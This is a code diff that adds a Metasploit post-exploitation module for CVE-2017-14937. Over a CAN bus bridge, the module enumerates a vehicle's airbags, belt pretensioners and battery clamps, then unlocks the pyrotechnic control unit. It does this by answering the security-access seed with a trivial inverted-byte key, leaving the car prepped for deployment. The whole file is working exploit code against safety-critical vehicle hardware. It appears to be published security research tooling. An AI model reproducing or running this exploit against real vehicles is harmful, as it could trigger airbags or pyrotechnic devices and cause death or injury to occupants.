|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex' |
| 7 | +require 'msf/core/post/hardware/automotive/uds' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Post |
| 10 | + |
| 11 | + include Msf::Post::Hardware::Automotive::UDS |
| 12 | + include Msf::Post::Hardware::Automotive::DTC |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super( update_info( info, |
| 16 | + 'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)', |
| 17 | + 'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module |
| 18 | + will first query all Pyrotechnic Control Units (PCUs) in the target vehicle |
| 19 | + to discover how many pyrotechnic devices are present, then attempt to validate |
| 20 | + the security access token using the default simplified algorithm. On success, |
| 21 | + the vehicle will be in a state that is prepped to deploy its pyrotechnic devices |
| 22 | + (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ |
| 25 | + 'Johannes Braun', # original research |
| 26 | + 'Juergen Duerrwang', # original research |
| 27 | + 'Craig Smith' # research and module author |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2017-14937' ], |
| 32 | + [ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ] |
| 33 | + ], |
| 34 | + 'Platform' => ['hardware'], |
| 35 | + 'SessionTypes' => ['hwbridge'] |
| 36 | + )) |
| 37 | + register_options([ |
| 38 | + OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]), |
| 39 | + OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]), |
| 40 | + OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]), |
| 41 | + OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil]) |
| 42 | + ]) |
| 43 | + end |
| 44 | + |
| 45 | + LOOP_TABLE = { |
| 46 | + 0x00 => 'ISOSAEReserved', |
| 47 | + 0x01 => 'airbag driver side frontal 1st stage', |
| 48 | + 0x02 => 'airbag left side frontal 1st stage', |
| 49 | + 0x03 => 'airbag right side frontal 1st stage', |
| 50 | + 0x04 => 'airbag driver side frontal 2nd stage', |
| 51 | + 0x05 => 'airbag left side frontal 2nd stage', |
| 52 | + 0x06 => 'airbag right side frontal 2nd stage', |
| 53 | + 0x07 => 'airbag driver side frontal 3rd stage', |
| 54 | + 0x08 => 'airbag left side frontal 3rd stage', |
| 55 | + 0x09 => 'airbag right side frontal 3rd stage', |
| 56 | + 0x0A => 'airbag passenger side frontal 1st stage', |
| 57 | + 0x0B => 'airbag passenger side frontal 2nd stage', |
| 58 | + 0x0C => 'airbag passenger side frontal 3rd stage', |
| 59 | + 0x0D => 'airbag left side frontal 3rd stage', |
| 60 | + 0x0E => 'airbag right side frontal 3rd stage', |
| 61 | + 0x0F => 'airbag passenger frontal 1st stage - center', |
| 62 | + 0x10 => 'airbag passenger frontal 2nd stage - center', |
| 63 | + 0x11 => 'airbag passenger frontal 3rd stage - center', |
| 64 | + 0x12 => '1st pretensioner driver side', |
| 65 | + 0x13 => '1st pretensioner left side', |
| 66 | + 0x14 => '1st pretensioner right side', |
| 67 | + 0x15 => '2nd pretensioner driver side', |
| 68 | + 0x16 => '2nd pretensioner left side', |
| 69 | + 0x17 => '2nd pretensioner right side', |
| 70 | + 0x18 => '1st pretensioner passenger side', |
| 71 | + 0x19 => '2nd pretensioner passenger side', |
| 72 | + 0x1A => '1st pretensioner passenger - center', |
| 73 | + 0x1B => '2nd pretensioner passenger - center', |
| 74 | + 0x1C => '1st pretensioner (2nd row) left', |
| 75 | + 0x1D => '2nd pretensioner (2nd row) left', |
| 76 | + 0x1E => '1st pretensioner (2nd row) right', |
| 77 | + 0x1F => '2nd pretensioner (2nd row) right', |
| 78 | + 0x20 => '1st pretensioner (2nd row) center', |
| 79 | + 0x21 => '2nd pretensioner (2nd row) center', |
| 80 | + 0x22 => '1st pretensioner (3rd row) left', |
| 81 | + 0x23 => '2nd pretensioner (3rd row) left', |
| 82 | + 0x24 => '1st pretensioner (3rd row) right', |
| 83 | + 0x25 => '2nd pretensioner (3rd row) right', |
| 84 | + 0x26 => '1st pretensioner (3rd row) center', |
| 85 | + 0x27 => '2nd pretensioner (3rd row) center', |
| 86 | + 0x28 => 'belt force limiter driver side', |
| 87 | + 0x29 => 'belt force limiter left side', |
| 88 | + 0x2A => 'belt force limiter right side', |
| 89 | + 0x2B => 'belt force limiter passenger side', |
| 90 | + 0x2C => 'belt force limiter passenger side - center', |
| 91 | + 0x2D => 'belt force limiter 2nd row - left', |
| 92 | + 0x2E => 'belt force limiter 2nd row - right', |
| 93 | + 0x2F => 'belt force limiter 2nd row - center', |
| 94 | + 0x30 => 'belt force limiter 3rd row - left', |
| 95 | + 0x31 => 'belt force limiter 3rd row - right', |
| 96 | + 0x32 => 'belt force limiter 3rd row - center', |
| 97 | + 0x33 => 'headbag - driver side (roof mounted)', |
| 98 | + 0x34 => 'headbag - passenger side (roof mounted)', |
| 99 | + 0x35 => 'headbag - right side (roof mounted)', |
| 100 | + 0x36 => 'headbag - left side (roof mounted)', |
| 101 | + 0x37 => 'headbag - 2nd row - left (roof mounted)', |
| 102 | + 0x38 => 'headbag - 2nd row - right (roof mounted)', |
| 103 | + 0x39 => 'headbag - 3rd row - left (roof mounted)', |
| 104 | + 0x3A => 'headbag - 3rd row - right (roof mounted)', |
| 105 | + 0x3B => 'sidebag (curtain) - driver side', |
| 106 | + 0x3C => 'sidebag (curtain) - passenger side', |
| 107 | + 0x3D => 'sidebag (curtain) - left side', |
| 108 | + 0x3E => 'sidebag (curtain) - right side', |
| 109 | + 0x3F => 'sidebag (curtain) - 2nd row - left', |
| 110 | + 0x40 => 'sidebag (curtain) - 2nd row - right', |
| 111 | + 0x41 => 'sidebag (curtain) - 3rd row - left', |
| 112 | + 0x42 => 'sidebag (curtain) - 3rd row - right', |
| 113 | + 0x43 => 'sidebag - driver side (door mounted)', |
| 114 | + 0x44 => 'sidebag - passenger side (door mounted)', |
| 115 | + 0x45 => 'sidebag - left side (door mounted)', |
| 116 | + 0x46 => 'sidebag - right side (door mounted)', |
| 117 | + 0x47 => 'sidebag - 2nd row - left (door mounted)', |
| 118 | + 0x48 => 'sidebag - 2nd row - right (door mounted)', |
| 119 | + 0x49 => 'sidebag - 3rd row - left (door mounted)', |
| 120 | + 0x4A => 'sidebag - 3rd row - right (door mounted)', |
| 121 | + 0x4B => 'seatbag (cushion) - driver side (seat mounted)', |
| 122 | + 0x4C => 'seatbag (cushion) - passenger side (seat mounted)', |
| 123 | + 0x4D => 'seatbag (cushion) - left side (seat mounted)', |
| 124 | + 0x4E => 'seatbag (cushion) - right side (seat mounted)', |
| 125 | + 0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)', |
| 126 | + 0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)', |
| 127 | + 0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)', |
| 128 | + 0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)', |
| 129 | + 0x53 => 'kneebag - driver side', |
| 130 | + 0x54 => 'kneebag - passenger side', |
| 131 | + 0x55 => 'kneebag - left side', |
| 132 | + 0x56 => 'kneebag - right side', |
| 133 | + 0x57 => 'kneebag - passenger side - center', |
| 134 | + 0x58 => 'footbag - driver side', |
| 135 | + 0x59 => 'footbag - passenger side', |
| 136 | + 0x5A => 'footbag - left side', |
| 137 | + 0x5B => 'footbag - right side', |
| 138 | + 0x5C => 'footbag - passenger side - center', |
| 139 | + 0x5E => 'active headrest - driver side', |
| 140 | + 0x5F => 'active headrest - passenger side', |
| 141 | + 0x60 => 'active headrest - left side', |
| 142 | + 0x61 => 'active headrest - right side', |
| 143 | + 0x62 => 'active headrest - passenger side - center', |
| 144 | + 0x63 => 'active headrest - 2nd row - left', |
| 145 | + 0x64 => 'active headrest - 2nd row - right', |
| 146 | + 0x65 => 'active headrest - 2nd row - center', |
| 147 | + 0x66 => 'active headrest - 3rd row - left', |
| 148 | + 0x67 => 'active headrest - 3rd row - right', |
| 149 | + 0x68 => 'active headrest - 3rd row - center', |
| 150 | + 0x69 => 'battery clamp main battery', |
| 151 | + 0x6A => 'battery clamp 2nd battery', |
| 152 | + 0x6B => 'battery clamp 3rd battery', |
| 153 | + 0x6C => 'battery clamp 4th battery', |
| 154 | + 0x6D => 'roof-airbag front', |
| 155 | + 0x6E => 'roof-airbag front', |
| 156 | + 0x6F => 'bag in belt driver side', |
| 157 | + 0x70 => 'bag in belt passenger side', |
| 158 | + 0x71 => 'bag in belt left side', |
| 159 | + 0x72 => 'bag in belt right side', |
| 160 | + 0x73 => 'bag in belt passenger side - center', |
| 161 | + 0x74 => 'bag in belt 2nd row - left', |
| 162 | + 0x75 => 'bag in belt 2nd row - right', |
| 163 | + 0x76 => 'bag in belt 2nd row - center', |
| 164 | + 0x77 => 'bag in belt 3rd row - left', |
| 165 | + 0x78 => 'bag in belt 3rd row - right', |
| 166 | + 0x79 => 'bag in belt 3rd row - center', |
| 167 | + 0x7A => 'rollover bar #1', |
| 168 | + 0x7B => 'rollover bar #2', |
| 169 | + 0x7C => 'rollover bar #3', |
| 170 | + 0x7D => 'rollover bar #4', |
| 171 | + 0x7E => 'active anti-submarining driver seat', |
| 172 | + 0x7F => 'active anti-submarining passenger seat', |
| 173 | + 0x80 => 'active anti-submarining left seat', |
| 174 | + 0x81 => 'active anti-submarining right seat', |
| 175 | + 0x82 => 'active anti-submarining passenger seat - center', |
| 176 | + 0x83 => 'active anti-submarining seat 2nd row - left', |
| 177 | + 0x84 => 'active anti-submarining seat 2nd row - right', |
| 178 | + 0x85 => 'active anti-submarining seat 2nd row - center', |
| 179 | + 0x86 => 'active anti-submarining seat 3rd row - left', |
| 180 | + 0x87 => 'active anti-submarining seat 3rd row - right', |
| 181 | + 0x88 => 'active anti-submarining seat 3rd row - center', |
| 182 | + 0x89 => 'pedestrian protection front left hood lifter', |
| 183 | + 0x8A => 'pedestrian protection front right hood lifter', |
| 184 | + 0x8B => 'pedestrian protection rear left hood lifter', |
| 185 | + 0x8C => 'pedestrian protection rear right hood lifter', |
| 186 | + 0x8D => 'pedestrian protection a-pillar left', |
| 187 | + 0x8E => 'pedestrian protection a-pillar right', |
| 188 | + 0x8F => 'pedestrian protection wind screen', |
| 189 | + 0x90 => 'pedestrian protection bumper left', |
| 190 | + 0x91 => 'pedestrian protection bumper center', |
| 191 | + 0x92 => 'pedestrian protection bumper right', |
| 192 | + 0x93 => 'active steering column', |
| 193 | + 0x94 => 'front screen - emergency release', |
| 194 | + 0x95 => 'read window - emergency release' |
| 195 | + } |
| 196 | + |
| 197 | + ACL_TYPES = { |
| 198 | + 0x01 => 'CAN only', |
| 199 | + 0x02 => 'ACL Comm Mode 12V', |
| 200 | + 0x03 => 'ACL PWM FixedLevel 8V', |
| 201 | + 0x04 => 'ACL Comm Mode 24V', |
| 202 | + 0x05 => 'ACL PWM UbattLevel 12V', |
| 203 | + 0x06 => 'ACL PWM UbattLevel 24V' |
| 204 | + } |
| 205 | + |
| 206 | + PCU_ADDRESS_FORMAT = { |
| 207 | + 0x01 => '11 bit normal addressing', |
| 208 | + 0x02 => '11 bit extended addressing', |
| 209 | + 0x03 => '11 bit mixed addressing', |
| 210 | + 0x04 => '29 bit normal fixed addressing', |
| 211 | + 0x05 => '29 bit mixed addressing', |
| 212 | + 0x06 => '29 bit unique addressing' |
| 213 | + } |
| 214 | + |
| 215 | + def print_vin(vin) |
| 216 | + return "" if vin.nil? |
| 217 | + vin.map! { |d| d.hex.chr } |
| 218 | + print_status(" VIN: #{vin.join}") |
| 219 | + end |
| 220 | + |
| 221 | + def print_loop_table(loopid) |
| 222 | + print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):") |
| 223 | + (3..loopid.size).each do |i| |
| 224 | + if i % 2 == 1 |
| 225 | + if loopid[i] && (LOOP_TABLE.key? loopid[i].hex) |
| 226 | + print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}") |
| 227 | + else |
| 228 | + print_status(" #{loopid[i]} | <<UNKNOWN>>") |
| 229 | + end |
| 230 | + else |
| 231 | + if loopid[i] && loopid[i].hex == 0 |
| 232 | + print_status(' | Deployment Status: Good') |
| 233 | + else |
| 234 | + print_status(" | Deployment Status: Fail (#{loopid[i]})") |
| 235 | + end |
| 236 | + end |
| 237 | + end |
| 238 | + end |
| 239 | + |
| 240 | + def run |
| 241 | + opt = {} |
| 242 | + opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil? |
| 243 | + print_status('Gathering Data...') |
| 244 | + vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt) |
| 245 | + no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt) |
| 246 | + no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt) |
| 247 | + address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt) |
| 248 | + loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt) |
| 249 | + acl_type_definition = loopid[0] |
| 250 | + acl_type_version = loopid[1] |
| 251 | + no_of_charges = loopid[2] |
| 252 | + |
| 253 | + print_vin(vin) |
| 254 | + print_loop_table(loopid) |
| 255 | + print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}") |
| 256 | + print_status(' Info About First PCU') |
| 257 | + print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}") |
| 258 | + print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}") |
| 259 | + print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}") |
| 260 | + print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}") |
| 261 | + print_status(" ACL Type version | #{acl_type_version.hex}") |
| 262 | + print_status |
| 263 | + print_status('Switching to Diagnostic Session 0x04...') |
| 264 | + resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt) |
| 265 | + if resp.key? 'error' |
| 266 | + print_error("Could not switch to DSC 0x04: #{resp['error']}") |
| 267 | + return |
| 268 | + end |
| 269 | + # We may not need tester present at all because we will perform the action quickly |
| 270 | + send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt) |
| 271 | + print_status('Getting Security Access Seed...') |
| 272 | + seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt) |
| 273 | + if seed.key? 'error' |
| 274 | + print_error("Couldn't get seed: #{seed['error']}") |
| 275 | + return |
| 276 | + end |
| 277 | + print_status("Success. Seed: #{seed['SEED']}") |
| 278 | + print_status('Attempting to unlock device...') |
| 279 | + display_warning = false |
| 280 | + if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0 |
| 281 | + print_status('Security Access Already Unlocked!!') |
| 282 | + display_warning = true |
| 283 | + else |
| 284 | + key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex] |
| 285 | + resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt) |
| 286 | + if (resp.key? 'error') && !(resp['error'].key? 'RCRRP') |
| 287 | + print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}") |
| 288 | + return |
| 289 | + end |
| 290 | + found_valid = false |
| 291 | + if (resp.key? 'Packets') && resp['Packets'].size > 0 |
| 292 | + resp['Packets'].each do |i| |
| 293 | + found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67' |
| 294 | + end |
| 295 | + end |
| 296 | + if found_valid |
| 297 | + print_status('Success!') |
| 298 | + display_warning = true |
| 299 | + else |
| 300 | + print_error("Unknown response: #{resp.inspect}") |
| 301 | + end |
| 302 | + end |
| 303 | + if display_warning |
| 304 | + print_warning('Warning! You are now able to start the deployment of airbags in this vehicle') |
| 305 | + print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***') |
| 306 | + end |
| 307 | + end |
| 308 | + |
| 309 | +end |
0 commit comments